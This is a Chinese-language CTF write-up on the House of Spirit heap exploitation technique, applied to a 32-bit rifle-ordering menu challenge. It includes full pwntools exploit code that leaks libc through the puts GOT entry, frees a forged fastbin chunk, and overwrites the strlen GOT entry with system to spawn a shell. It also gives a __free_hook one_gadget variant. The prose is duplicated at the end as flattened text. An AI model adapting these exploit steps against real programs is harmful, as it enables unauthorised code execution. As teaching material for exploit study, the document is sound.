堆利用之House Of Spirit
字数 1946 2025-08-22 22:47:31

House of Spirit 堆利用技术详解

1. 技术概述

House of Spirit 是一种基于 fastbin 机制缺陷的堆利用技术。其核心思想是通过伪造 chunk 并将其放入 fastbin,然后申请出这个伪造的 chunk,从而实现对指定内存区域的劫持。

2. 伪造 chunk 的条件

要成功实施 House of Spirit 攻击,伪造的 chunk 必须满足以下条件:

  1. ISMMAP 位:不能为 1,因为如果是 mmap 分配的 chunk,free 时会单独处理
  2. 地址对齐
    • 32 位系统:地址应为 0xXXXX0
    • 64 位系统:地址应为 0xXXXX0
  3. size 大小
    • 必须小于 0x80(fastbin 的最大大小)
    • 必须与对应的 fastbin 大小匹配
  4. next chunk 检查
    • next chunk 的大小不能小于 2 * SIZE_SZ
    • 不能大于 av->system_mem
    • 32 位:大小应为 4 的整数倍
    • 64 位:大小应为 8 的整数倍
  5. fastbin 链表检查
    • 不能构成 double free 情况(即 fake chunk 不能是链表头部)

3. 示例程序分析

3.1 程序功能

程序是一个购买枪支的菜单题,主要功能包括:

  1. 添加新步枪 (Add new rifle)
  2. 显示已添加步枪 (Show added rifles)
  3. 订购选定的步枪 (Order selected rifles)
  4. 留言 (Leave a Message with your Order)
  5. 显示当前状态 (Show current stats)
  6. 退出 (Exit)

3.2 关键函数分析

add 函数 (sub_8048644)

  • 分配固定大小 (0x38) 的 chunk
  • 结构:
    • 前 56 字节:步枪描述
    • 后 56 字节:步枪名称
    • 偏移 13*4=52 字节处存储指向下一个 chunk 的指针

show 函数 (sub_8048729)

  • 遍历链表并显示所有 chunk 内容
  • 可以泄露内存信息

order 函数 (sub_8048810)

  • 释放所有分配的 chunk
  • 增加订单计数器 (dword_804A2A0)

message 函数

  • 在固定地址 (dword_804A2A8) 写入最多 128 字节的数据
  • 使用 strlen 检查输入

showw 函数 (sub_8048906)

  • 显示添加和释放的计数器值
  • 显示留言内容

4. 利用思路

4.1 信息泄露

  1. 利用 show 函数泄露 libc 基址:
    • 将 puts 的 GOT 地址写入 chunk
    • 通过 show 函数读取 puts 的实际地址
    • 计算 libc 基址

4.2 伪造 chunk

  1. 创建足够多的 chunk (0x3f 个) 来填充内存
  2. 最后一个 chunk 的指针指向伪造的 chunk 地址 (0x0804a2a8)
  3. 伪造 chunk 需要满足:
    • size 为 0x40
    • next chunk 的 size 设置为 0x100(大于 fastbin 最大值)
    • next chunk 的 prev_size 设置为 0x40,prev_inuse 位为 0

4.3 劫持控制流

  1. 通过 message 功能在伪造的 chunk 区域布置 payload
  2. 劫持 strlen 的 GOT 表项为 system 地址
  3. 通过 message 触发 system("/bin/sh")

5. 利用步骤详解

5.1 泄露 libc 基址

payload = b'a'*27 + p32(elf.got['puts'])
add(b'a'*25, payload)
show()
io.recvuntil('=\n')
io.recvuntil('Description: ')
puts = u32(io.recv(4))
base = puts - libc.sym['puts']
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))

5.2 准备伪造 chunk

n = 1
while n < 0x3f:
    add(b'a'*25, b'a'*27 + p32(0))
    n += 1

payload = b'a'*27 + p32(0x0804a2a8)
add(b'a'*25, payload)

5.3 布置伪造 chunk 结构

payload = 0x20*'\x00' + p32(0x40) + p32(0x100)
message(payload)
order()

5.4 劫持 strlen GOT

payload = p32(elf.got['strlen']).ljust(20, 'a')
add(payload, b'b')
message(p32(system) + ';/bin/sh\x00')

6. 替代方案:修改 __free_hook

在 libc-2.23 中,还可以通过修改 __free_hook 为 one_gadget 地址来获取 shell:

free_hook = base + libc.sym['__free_hook'] + 0x1000 - 0x10
payload = p32(free_hook).ljust(20, 'a')
add(payload, b'b')
og = base + 0x3ac69  # one_gadget 地址
message(p32(og))
order()

7. 关键注意事项

  1. 伪造 chunk 的 size 必须精确匹配 fastbin 的大小
  2. next chunk 的 size 必须足够大以绕过检查
  3. 使用 ";/bin/sh\x00" 是因为 system 函数会执行分号分隔的多个命令
  4. 在 libc-2.23 中,__malloc_hook 和 __free_hook 也是可行的攻击目标

8. 完整 EXP 示例

from pwn import *

context.log_level = 'debug'
context(os='linux', arch='i386')

io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def add(descrip, name):
    io.sendline('1')
    io.sendline(name)
    io.sendline(descrip)

def order():
    io.sendline('3')

def show():
    io.sendline('2')
    io.recvuntil('=\n')

def message(content):
    io.sendline('4')
    io.sendline(content)

# 泄露 libc 基址
payload = b'a'*27 + p32(elf.got['puts'])
add(b'a'*25, payload)
show()
io.recvuntil('Description: ')
puts = u32(io.recv(4))
base = puts - libc.sym['puts']
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))

# 准备伪造 chunk
for _ in range(0x3f-1):
    add(b'a'*25, b'a'*27 + p32(0))

payload = b'a'*27 + p32(0x0804a2a8)
add(b'a'*25, payload)

# 布置伪造 chunk 结构
payload = 0x20*'\x00' + p32(0x40) + p32(0x100)
message(payload)
order()

# 劫持 strlen GOT
payload = p32(elf.got['strlen']).ljust(20, 'a')
add(payload, b'b')
message(p32(system) + ';/bin/sh\x00')

io.interactive()

9. 总结

House of Spirit 是一种有效的堆利用技术,关键在于精确伪造符合 fastbin 要求的 chunk 结构。通过控制 chunk 的分配和释放,可以实现任意地址写入,最终劫持程序控制流。这种技术常与其他攻击手段结合使用,是复杂攻击链中的重要一环。

House of Spirit 堆利用技术详解 1. 技术概述 House of Spirit 是一种基于 fastbin 机制缺陷的堆利用技术。其核心思想是通过伪造 chunk 并将其放入 fastbin,然后申请出这个伪造的 chunk,从而实现对指定内存区域的劫持。 2. 伪造 chunk 的条件 要成功实施 House of Spirit 攻击,伪造的 chunk 必须满足以下条件: ISMMAP 位 :不能为 1,因为如果是 mmap 分配的 chunk,free 时会单独处理 地址对齐 : 32 位系统:地址应为 0xXXXX0 64 位系统:地址应为 0xXXXX0 size 大小 : 必须小于 0x80(fastbin 的最大大小) 必须与对应的 fastbin 大小匹配 next chunk 检查 : next chunk 的大小不能小于 2 * SIZE_ SZ 不能大于 av->system_ mem 32 位:大小应为 4 的整数倍 64 位:大小应为 8 的整数倍 fastbin 链表检查 : 不能构成 double free 情况(即 fake chunk 不能是链表头部) 3. 示例程序分析 3.1 程序功能 程序是一个购买枪支的菜单题,主要功能包括: 添加新步枪 (Add new rifle) 显示已添加步枪 (Show added rifles) 订购选定的步枪 (Order selected rifles) 留言 (Leave a Message with your Order) 显示当前状态 (Show current stats) 退出 (Exit) 3.2 关键函数分析 add 函数 (sub_ 8048644) 分配固定大小 (0x38) 的 chunk 结构: 前 56 字节:步枪描述 后 56 字节:步枪名称 偏移 13* 4=52 字节处存储指向下一个 chunk 的指针 show 函数 (sub_ 8048729) 遍历链表并显示所有 chunk 内容 可以泄露内存信息 order 函数 (sub_ 8048810) 释放所有分配的 chunk 增加订单计数器 (dword_ 804A2A0) message 函数 在固定地址 (dword_ 804A2A8) 写入最多 128 字节的数据 使用 strlen 检查输入 showw 函数 (sub_ 8048906) 显示添加和释放的计数器值 显示留言内容 4. 利用思路 4.1 信息泄露 利用 show 函数泄露 libc 基址: 将 puts 的 GOT 地址写入 chunk 通过 show 函数读取 puts 的实际地址 计算 libc 基址 4.2 伪造 chunk 创建足够多的 chunk (0x3f 个) 来填充内存 最后一个 chunk 的指针指向伪造的 chunk 地址 (0x0804a2a8) 伪造 chunk 需要满足: size 为 0x40 next chunk 的 size 设置为 0x100(大于 fastbin 最大值) next chunk 的 prev_ size 设置为 0x40,prev_ inuse 位为 0 4.3 劫持控制流 通过 message 功能在伪造的 chunk 区域布置 payload 劫持 strlen 的 GOT 表项为 system 地址 通过 message 触发 system("/bin/sh") 5. 利用步骤详解 5.1 泄露 libc 基址 5.2 准备伪造 chunk 5.3 布置伪造 chunk 结构 5.4 劫持 strlen GOT 6. 替代方案:修改 __ free_ hook 在 libc-2.23 中,还可以通过修改 __ free_ hook 为 one_ gadget 地址来获取 shell: 7. 关键注意事项 伪造 chunk 的 size 必须精确匹配 fastbin 的大小 next chunk 的 size 必须足够大以绕过检查 使用 ";/bin/sh\x00" 是因为 system 函数会执行分号分隔的多个命令 在 libc-2.23 中,__ malloc_ hook 和 __ free_ hook 也是可行的攻击目标 8. 完整 EXP 示例 9. 总结 House of Spirit 是一种有效的堆利用技术,关键在于精确伪造符合 fastbin 要求的 chunk 结构。通过控制 chunk 的分配和释放,可以实现任意地址写入,最终劫持程序控制流。这种技术常与其他攻击手段结合使用,是复杂攻击链中的重要一环。